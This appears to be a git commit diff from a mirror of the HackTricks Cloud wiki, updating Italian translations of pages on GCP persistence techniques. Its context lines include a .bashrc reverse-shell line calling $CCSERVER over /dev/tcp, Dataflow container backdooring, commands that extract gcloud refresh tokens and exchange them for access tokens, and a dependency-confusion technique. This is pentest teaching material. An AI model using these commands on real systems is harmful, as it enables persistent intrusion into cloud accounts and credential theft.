mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-06 17:53:37 -08:00
Translated ['.github/pull_request_template.md', 'src/README.md', 'src/pe
This commit is contained in:
@@ -1,10 +1,10 @@
|
||||
# GCP - Persistenza delle Chiavi API
|
||||
# GCP - Persistenza delle chiavi API
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Chiavi API
|
||||
|
||||
Per ulteriori informazioni sulle Chiavi API controlla:
|
||||
Per ulteriori informazioni sulle chiavi API controlla:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-api-keys-enum.md
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## App Engine
|
||||
|
||||
Per ulteriori informazioni su App Engine, controlla:
|
||||
Per ulteriori informazioni su App Engine controlla:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-app-engine-enum.md
|
||||
@@ -16,6 +16,6 @@ Se potessi semplicemente modificare il codice di una versione in esecuzione o cr
|
||||
|
||||
### Persistenza della vecchia versione
|
||||
|
||||
**Ogni versione dell'applicazione web verrà eseguita**, se scopri che un progetto App Engine sta eseguendo diverse versioni, potresti **crearne una nuova** con il tuo **codice backdoor**, e poi **creare una nuova legittima** in modo che l'ultima sia la legittima, ma ci sarà anche una **versione backdoor in esecuzione**.
|
||||
**Ogni versione dell'applicazione web verrà eseguita**, se scopri che un progetto App Engine sta eseguendo diverse versioni, potresti **crearne una nuova** con il tuo **codice backdoor**, e poi **creare una nuova legittima** in modo che l'ultima sia la legittima ma ci sarà anche una **versione backdoor in esecuzione**.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -16,12 +16,12 @@ Per ulteriori informazioni su Artifact Registry controlla:
|
||||
- Viene utilizzato quello con la **priorità più alta impostata nel repository virtuale**
|
||||
- Se la **priorità è la stessa**:
|
||||
- Se la **versione** è la **stessa**, viene utilizzato il **nome della policy alfabeticamente** primo nel repository virtuale
|
||||
- In caso contrario, viene utilizzata la **versione più alta**
|
||||
- Se no, viene utilizzata la **versione più alta**
|
||||
|
||||
> [!CAUTION]
|
||||
> Pertanto, è possibile **abusare di una versione più alta (confusione delle dipendenze)** in un registro di pacchetti pubblico se il repository remoto ha una priorità più alta o uguale
|
||||
|
||||
Questa tecnica può essere utile per **persistenza** e **accesso non autenticato** poiché per abusarne è sufficiente **conoscere il nome di una libreria** memorizzata in Artifact Registry e **creare quella stessa libreria nel repository pubblico (PyPi per python ad esempio)** con una versione più alta.
|
||||
Questa tecnica può essere utile per la **persistenza** e l'**accesso non autenticato** poiché per abusarne è sufficiente **conoscere il nome di una libreria** memorizzata in Artifact Registry e **creare quella stessa libreria nel repository pubblico (PyPi per python ad esempio)** con una versione più alta.
|
||||
|
||||
Per la persistenza, questi sono i passaggi da seguire:
|
||||
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# GCP - BigQuery Persistence
|
||||
# GCP - Persistenza BigQuery
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
@@ -1,10 +1,10 @@
|
||||
# GCP - Cloud Functions Persistence
|
||||
# GCP - Persistenza delle Cloud Functions
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Cloud Functions
|
||||
|
||||
Per ulteriori informazioni su Cloud Functions, controlla:
|
||||
Per ulteriori informazioni sulle Cloud Functions controlla:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-cloud-functions-enum.md
|
||||
@@ -14,6 +14,6 @@ Per ulteriori informazioni su Cloud Functions, controlla:
|
||||
|
||||
- **Modifica il codice** della Cloud Function, anche solo il `requirements.txt`
|
||||
- **Consenti a chiunque** di chiamare una Cloud Function vulnerabile o una backdoor
|
||||
- **Attiva** una Cloud Function quando succede qualcosa per infettare qualcosa
|
||||
- **Attiva** una Cloud Function quando accade qualcosa per infettare qualcosa
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Cloud Run
|
||||
|
||||
Per ulteriori informazioni su Cloud Run, controlla:
|
||||
Per ulteriori informazioni su Cloud Run controlla:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-cloud-run-enum.md
|
||||
|
||||
@@ -12,21 +12,21 @@ Per ulteriori informazioni controlla:
|
||||
|
||||
### Backdoor Persistente
|
||||
|
||||
[**Google Cloud Shell**](https://cloud.google.com/shell/) ti offre accesso alla riga di comando alle tue risorse cloud direttamente dal tuo browser senza alcun costo associato.
|
||||
[**Google Cloud Shell**](https://cloud.google.com/shell/) ti fornisce accesso alla riga di comando alle tue risorse cloud direttamente dal tuo browser senza alcun costo associato.
|
||||
|
||||
Puoi accedere al Cloud Shell di Google dalla **console web** o eseguendo **`gcloud cloud-shell ssh`**.
|
||||
|
||||
Questa console ha alcune capacità interessanti per gli attaccanti:
|
||||
|
||||
1. **Qualsiasi utente Google con accesso a Google Cloud** ha accesso a un'istanza di Cloud Shell completamente autenticata (anche gli Account di Servizio possono, anche essendo Proprietari dell'organizzazione).
|
||||
2. Detto istanza **mantenere la sua home directory per almeno 120 giorni** se non si verifica alcuna attività.
|
||||
1. **Qualsiasi utente Google con accesso a Google Cloud** ha accesso a un'istanza di Cloud Shell completamente autenticata (anche gli Service Accounts, essendo Proprietari dell'organizzazione).
|
||||
2. Tale istanza **mantenere la sua home directory per almeno 120 giorni** se non si verifica alcuna attività.
|
||||
3. Non ci sono **capacità per un'organizzazione di monitorare** l'attività di quell'istanza.
|
||||
|
||||
Questo significa fondamentalmente che un attaccante può mettere una backdoor nella home directory dell'utente e finché l'utente si connette al GC Shell almeno ogni 120 giorni, la backdoor sopravvivrà e l'attaccante otterrà una shell ogni volta che viene eseguita semplicemente facendo:
|
||||
```bash
|
||||
echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/'$CCSERVER'/443 0>&1 &)' >> $HOME/.bashrc
|
||||
```
|
||||
C'è un altro file nella cartella home chiamato **`.customize_environment`** che, se esiste, verrà **eseguito ogni volta** che l'utente accede al **cloud shell** (come nella tecnica precedente). Basta inserire il backdoor precedente o uno simile per mantenere la persistenza finché l'utente utilizza "frequentemente" il cloud shell:
|
||||
C'è un altro file nella cartella home chiamato **`.customize_environment`** che, se esiste, verrà **eseguito ogni volta** che l'utente accede al **cloud shell** (come nella tecnica precedente). Basta inserire la backdoor precedente o una simile a quella seguente per mantenere la persistenza finché l'utente utilizza "frequentemente" il cloud shell:
|
||||
```bash
|
||||
#!/bin/sh
|
||||
apt-get install netcat -y
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# GCP - Dataflow Persistence
|
||||
# GCP - Persistenza Dataflow
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -6,7 +6,7 @@
|
||||
|
||||
### Persistenza invisibile nel contenitore costruito
|
||||
|
||||
Seguendo il [**tutorial della documentazione**](https://cloud.google.com/dataflow/docs/guides/templates/using-flex-templates) puoi creare un nuovo template flessibile (ad es. python):
|
||||
Seguendo il [**tutorial della documentazione**](https://cloud.google.com/dataflow/docs/guides/templates/using-flex-templates) puoi creare un nuovo template flessibile (ad esempio python):
|
||||
```bash
|
||||
git clone https://github.com/GoogleCloudPlatform/python-docs-samples.git
|
||||
cd python-docs-samples/dataflow/flex-templates/getting_started
|
||||
@@ -38,7 +38,7 @@ gcloud dataflow $NAME_TEMPLATE build gs://$REPOSITORY/getting_started-py.json \
|
||||
```
|
||||
**Mentre viene costruito, otterrai una reverse shell** (puoi abusare delle variabili d'ambiente come nell'esempio precedente o di altri parametri che impostano il file Docker per eseguire cose arbitrarie). In questo momento, all'interno della reverse shell, è possibile **andare nella directory `/template` e modificare il codice dello script python principale che verrà eseguito (nel nostro esempio questo è `getting_started.py`)**. Imposta qui la tua backdoor in modo che ogni volta che il lavoro viene eseguito, verrà eseguita.
|
||||
|
||||
Poi, la prossima volta che il lavoro viene eseguito, verrà eseguito il container compromesso costruito:
|
||||
Quindi, la prossima volta che il lavoro viene eseguito, verrà eseguito il container compromesso costruito:
|
||||
```bash
|
||||
# Run template
|
||||
gcloud dataflow $NAME_TEMPLATE run testing \
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# GCP - Token Persistance
|
||||
# GCP - Persistenza del Token
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -20,11 +20,11 @@ sqlite3 $HOME/.config/gcloud/credentials.db "select value from credentials where
|
||||
```
|
||||
È anche possibile trovare i token di aggiornamento in **`$HOME/.config/gcloud/application_default_credentials.json`** e in **`$HOME/.config/gcloud/legacy_credentials/*/adc.json`**.
|
||||
|
||||
Per ottenere un nuovo token di accesso aggiornato con il **token di aggiornamento**, l'ID client e il segreto client eseguire:
|
||||
Per ottenere un nuovo token di accesso aggiornato con il **refresh token**, l'ID client e il segreto client esegui:
|
||||
```bash
|
||||
curl -s --data client_id=<client_id> --data client_secret=<client_secret> --data grant_type=refresh_token --data refresh_token=<refresh_token> --data scope="https://www.googleapis.com/auth/cloud-platform https://www.googleapis.com/auth/accounts.reauth" https://www.googleapis.com/oauth2/v4/token
|
||||
```
|
||||
I token di aggiornamento possono essere gestiti in **Admin** > **Security** > **Google Cloud session control**, e per impostazione predefinita è impostato su 16h anche se può essere impostato per non scadere:
|
||||
La validità dei token di aggiornamento può essere gestita in **Admin** > **Security** > **Google Cloud session control**, e per impostazione predefinita è impostata su 16h anche se può essere impostata per non scadere:
|
||||
|
||||
<figure><img src="../../../images/image (11).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@@ -34,10 +34,10 @@ Il flusso di autenticazione quando si utilizza qualcosa come `gcloud auth login`
|
||||
```
|
||||
/?state=EN5AK1GxwrEKgKog9ANBm0qDwWByYO&code=4/0AeaYSHCllDzZCAt2IlNWjMHqr4XKOuNuhOL-TM541gv-F6WOUsbwXiUgMYvo4Fg0NGzV9A&scope=email%20openid%20https://www.googleapis.com/auth/userinfo.email%20https://www.googleapis.com/auth/cloud-platform%20https://www.googleapis.com/auth/appengine.admin%20https://www.googleapis.com/auth/sqlservice.login%20https://www.googleapis.com/auth/compute%20https://www.googleapis.com/auth/accounts.reauth&authuser=0&prompt=consent HTTP/1.1
|
||||
```
|
||||
Poi, gcloud utilizzerà lo stato e il codice con un `client_id` hardcoded (`32555940559.apps.googleusercontent.com`) e **`client_secret`** (`ZmssLNjJy2998hD4CTg2ejr2`) per ottenere i **dati finali del token di aggiornamento**.
|
||||
Poi, gcloud utilizzerà lo stato e il codice con un `client_id` hardcoded (`32555940559.apps.googleusercontent.com`) e **`client_secret`** (`ZmssLNjJy2998hD4CTg2ejr2`) per ottenere i **dati finali del token di refresh**.
|
||||
|
||||
> [!CAUTION]
|
||||
> Nota che la comunicazione con localhost avviene in HTTP, quindi è possibile intercettare i dati per ottenere un token di aggiornamento, tuttavia questi dati sono validi solo 1 volta, quindi sarebbe inutile, è più facile semplicemente leggere il token di aggiornamento dal file.
|
||||
> Nota che la comunicazione con localhost avviene in HTTP, quindi è possibile intercettare i dati per ottenere un token di refresh, tuttavia questi dati sono validi solo 1 volta, quindi sarebbe inutile, è più facile semplicemente leggere il token di refresh dal file.
|
||||
|
||||
### OAuth Scopes
|
||||
|
||||
@@ -65,7 +65,7 @@ https://www.googleapis.com/auth/devstorage.full_control
|
||||
https://www.googleapis.com/auth/drive
|
||||
https://www.googleapis.com/auth/userinfo.email
|
||||
```
|
||||
è interessante vedere come questa app supporti l'**`drive`** scope, che potrebbe consentire a un utente di escalare da GCP a Workspace se un attaccante riesce a costringere l'utente a generare un token con questo scope.
|
||||
è interessante vedere come questa app supporti l'**`drive`** scope, che potrebbe consentire a un utente di eseguire un escalation da GCP a Workspace se un attaccante riesce a costringere l'utente a generare un token con questo scope.
|
||||
|
||||
**Controlla come** [**abusare di questo qui**](../gcp-to-workspace-pivoting/#abusing-gcloud)**.**
|
||||
|
||||
@@ -76,7 +76,7 @@ Tuttavia, se rubi il **token OAuth** di un account di servizio questo può esser
|
||||
|
||||
### Metadati
|
||||
|
||||
Ovviamente, finché sei all'interno di una macchina in esecuzione nell'ambiente GCP sarai in grado di **accedere all'account di servizio associato a quella macchina contattando l'endpoint dei metadati** (nota che i token Oauth a cui puoi accedere in questo endpoint sono solitamente limitati da scope).
|
||||
Ovviamente, finché sei all'interno di una macchina in esecuzione nell'ambiente GCP sarai in grado di **accedere all'account di servizio associato a quella macchina contattando l'endpoint dei metadati** (nota che i token Oauth a cui puoi accedere in questo endpoint sono di solito limitati da scope).
|
||||
|
||||
### Rimedi
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Storage
|
||||
|
||||
Per ulteriori informazioni su Cloud Storage, controlla:
|
||||
Per ulteriori informazioni su Cloud Storage controlla:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-storage-enum.md
|
||||
|
||||
Reference in New Issue
Block a user